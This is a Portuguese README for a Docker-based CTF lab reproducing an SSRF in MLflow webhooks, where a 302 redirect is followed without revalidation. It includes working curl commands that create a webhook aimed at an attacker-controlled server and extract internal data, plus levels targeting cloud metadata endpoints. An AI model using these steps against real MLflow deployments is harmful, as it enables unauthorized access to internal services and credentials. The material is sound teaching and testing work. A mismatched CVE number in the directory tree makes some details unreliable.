isaca0315/cve-2026-64849-poc-labeste laboratório pode estar bem ou mal, pergunta à IA, estou a testar mas deve funcionar hahahah
CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)
Laboratório prático que reproduz o CVE-2026-64849: uma vulnerabilidade do
tipo SSRF no MLflow causada por um defeito TOCTOU (Time-of-Check /
Time-of-Use) no tratamento de webhooks. O MLflow valida a URL original do
webhook, mas segue redirects HTTP (302) sem revalidar o destino, o que
permite a um atacante sem autenticação alcançar serviços internos aos quais
não deveria ter acesso (internal-service:8888).
Uso restrito: material de laboratório, apenas para redes e ambientes autorizados. Ver Aviso legal.
| Atributo | Valor |
|---|
| Vulnerabilidade | CVE-2026-64849 — SSRF via Webhook Redirect Bypass |
| Componente afetado | MLflow Tracking Server (< 3.15.0) |
| Versão do lab | MLflow 3.13.0 (sem modificações, via pip install) |
| Causa raiz | TOCTOU: valida a URL, segue o 302 sem revalidar |
| Vetor | HTTP; sem autenticação |
| Severidade declarada | CRÍTICA (CVSS 9.3) — conforme banner do exploit do lab |
| Resultado | Acesso a serviços internos, roubo de credenciais, port scanning |
| Duração estimada | 15–20 minutos |
| Nível | Intermediário (Web App Security / Offensive Security) |
O MLflow permite registrar webhooks que disparam requisições HTTP diante de eventos (dados de modelos, experimentos, etc.). Antes de salvar a URL, é aplicada uma validação (esquema, IPs privados, metadata IP). A falha ocorre porque:
3xx, a biblioteca
requests segue o redirect automaticamente e nunca revalida a URL de
destino.O atacante controla o primeiro salto (um servidor que responde 302 para um
serviço interno) e o MLflow atua como proxy para a rede interna.
Ver análise técnica completa em EXPLOITATION_GUIDE.md §6.
Ao finalizar o lab, o estudante será capaz de:
/test e
exfiltração do serviço interno.Público: estudantes e profissionais de segurança ofensiva, pentesters, revisores de segurança de aplicações e desenvolvedores que usam MLflow.
Requisitos de software:
| Ferramenta | Versão mínima |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
Não são necessárias credenciais nem autenticação no MLflow (o ataque é unauthenticated). Não é necessário acesso à rede interna: o lab a fornece.
host rede interna do Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ atacante (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, responder 302) │
│ http://localhost:5000 │ │ │ webhook URL ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, segue o redirect) │
│ │ │ internal-service (8888) ← SEM portas para │
│ │ │ "/admin/secret" o host │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| Componente | Porta | Papel no lab | Modificado? |
|---|---|---|---|
mlflow-vulnerable | 5000 | Vítima / cliente vulnerável (MLflow 3.13.0 stock) | Não |
attacker-server | 8080 | Servidor do atacante: /webhook → 302, /redirect?url=, /metadata, dashboard | Apenas do_HEAD |
internal-service | 8888 | Vítima em lab_network; /admin/secret e /api/internal/config | Não |
Detalhe de integridade: o serviço vulnerável e o serviço interno não foram modificados. Ver EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # sobe os 3 contêineres e aguarda o MLflow
bash run_lab.sh exploit # explora automaticamente (SSRF → flag do Nível 1)
Demonstração guiada passo a passo (menu interativo):
bash manual_exploitation_interactive.sh
🏁 Modalidade CTF (resolução MANUAL): o lab é um desafio por níveis. Cada
flag deixa a pista do próximo nível, então chegar a cada flag "faz sentido".
E a graça é fazer manualmente: ctf_lab.sh não explora por você, apenas
te guia e valida sua flag:
bash ctf_lab.sh # menu interativo do CTF
bash ctf_lab.sh nivel 1 # instruções + pista do nível (comandos para VOCÊ EXECUTAR MANUALMENTE)
bash ctf_lab.sh flag '<flag>' # validar a flag que você exfiltrou e decodificou (+pts)
bash ctf_lab.sh status # níveis concluídos + pontuação (235 pts, sem mostrar flags)
bash ctf_lab.sh hint 2 # pista de um nível
bash ctf_lab.sh reset # apagar progresso
Referências do script run_lab.sh:
bash run_lab.sh start # start (padrão) + status endpoint
bash run_lab.sh exploit # executa exploit.py dentro do contêiner mlflow
bash run_lab.sh manual # mostra os comandos curl passo a passo
bash run_lab.sh logs # acompanha os logs em tempo real
bash run_lab.sh stop # para os contêineres
bash run_lab.sh clean # para e remove dados do lab
Todas as chamadas a
/testexigem o headerContent-Type: application/json; sem ele, o MLflow 3.13 responde400 Bad Request.
# 1. Criar o webhook apontando para o servidor do atacante (redireciona para a raiz do portal interno, Nível 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. Disparar /test → MLflow valida a URL, segue o 302 até o serviço interno
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. Extrair os dados exfiltrados (aninhados em result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
Resultado esperado do passo 3 (Nível 1 do CTF):
{
"service": "internal-admin-portal",
"banner": "Portal administrativo interno — acessível apenas pela rede interna",
"nivel": 1,
"flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
"flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
"pista": "O portal expõe recursos sob /admin/ e /api/. Procure credenciais de administrador."
}
A flag viaja criptografada (flag_enc) e a própria resposta fornece o
comando para decodificá-la (flag_decoding). O objetivo é exfiltra-la por
SSRF e decodificá-la; e sua pista conduz ao
Nível 2. O detalhe passo a passo, a análise do
bug e a remediação estão em EXPLOITATION_GUIDE.md.
O lab é um CTF por níveis progressivos: cada flag deixa uma pista que
conduz ao próximo destino, de modo que chegar a cada flag faz sentido.
Todos os níveis são resolvidos com a mesma técnica base (SSRF via redirect),
elevando a dificuldade da técnica e da descoberta.
| Nível | Técnica / descoberta | Destino (SSRF) | Flag | Pontos |
|---|---|---|---|---|
| 1 | Redirect básico | internal-service:8888/ | base64 | 10 |
| 2 | Enumeração de /admin/ | internal-service:8888/admin/secret | hex | 25 |
| 3 | Enumeração de /api/ | internal-service:8888/api/internal/config | base64 | 40 |
| 4 | Cloud metadata (IMDS) | internal-service:8888/latest/meta-data/... | base64 + rev | 60 |
| 5 (FINAL) | Blind SSRF + descobrir serviço oculto na porta 8889 | internal-service:8889/admin/final | XOR + base64 | 100 |
As flags viajam criptografadas no campo
flag_encda resposta e cada resposta incluiflag_decoding(o comando exato para decodificá-la). A flag em texto claroflag{...}não aparece em nenhum script nem doc: é preciso exfiltra-la via SSRF e decodificá-la (os scripts automáticos não mostram flags).
Regra do lab: flag apenas por SSRF bem-sucedido (exfiltração real de
dados do serviço interno via redirect). O que não é SSRF ou não é reproduzível
no lab não dá flag (p. ex., o /metadata direto do attacker, DNS
rebinding, túnel whcli, scan cego sem exfiltração).
Jogar: bash ctf_lab.sh (menu interativo). Resolução manual por níveis em
REDTEAM_GUIDE.md (exercício ofensivo comando a comando) e
EXPLOITATION_GUIDE.md (procedimento técnico completo).
Durante a consolidação do lab, foram aplicadas as seguintes correções, já verificadas e refletidas em todos os comandos da documentação:
| # | Correção | Impacto |
|---|---|---|
| 1 | POST /test agora envia Content-Type: application/json (e -d '{}') | Elimina o 400 Bad Request do MLflow 3.13 e a falha jq: null ao extrair response_body |
| 2 | attacker_server.py suporta método HEAD (do_HEAD) | curl -I .../webhook retorna 302 Found em vez de 501 Unsupported method |
| 3 | Uso da API real POST /api/2.0/mlflow/webhooks | Evita o 405 de rotas que não existem (/webhooks/create) |
CVE-2026-29000-poc-lab/
├── README.md ← Este arquivo (índice / capa do lab)
├── REDTEAM_GUIDE.md ← Exercício manual em chave red team: recon → hipótese → exploit
├── EXPLOITATION_GUIDE.md ← Procedimento completo do lab (SSRF, variações, integridade)
├── manual_exploitation_interactive.sh ← Demonstração interativa passo a passo (menu)
└── mlflow-ssrf-lab/ ← Código e orquestração do lab
├── docker-compose.yml ← 3 contêineres (mlflow, attacker, internal)
├── exploit.py ← Exploit automatizado (executado dentro do contêiner)
├── attacker_server.py ← Servidor do atacante (302 configurável)
├── internal_service.py ← Serviço interno "protegido" (portal 8888 + serviço oculto 8889)
├── ctf_lab.sh ← Guia manual do CTF (instruções + pistas + validador de flags)
├── run_lab.sh ← start / exploit / manual / logs / stop / clean
└── mlflow_data/ ← Dados gerados (BD sqlite, artefatos)
lab_network do
Docker; não expõe o serviço interno ao host.exploit.py é uma ferramenta de verificação do lab e é executado dentro
do contêiner do MLflow, sobre a rede interna simulada (ver
EXPLOITATION_GUIDE.md §14).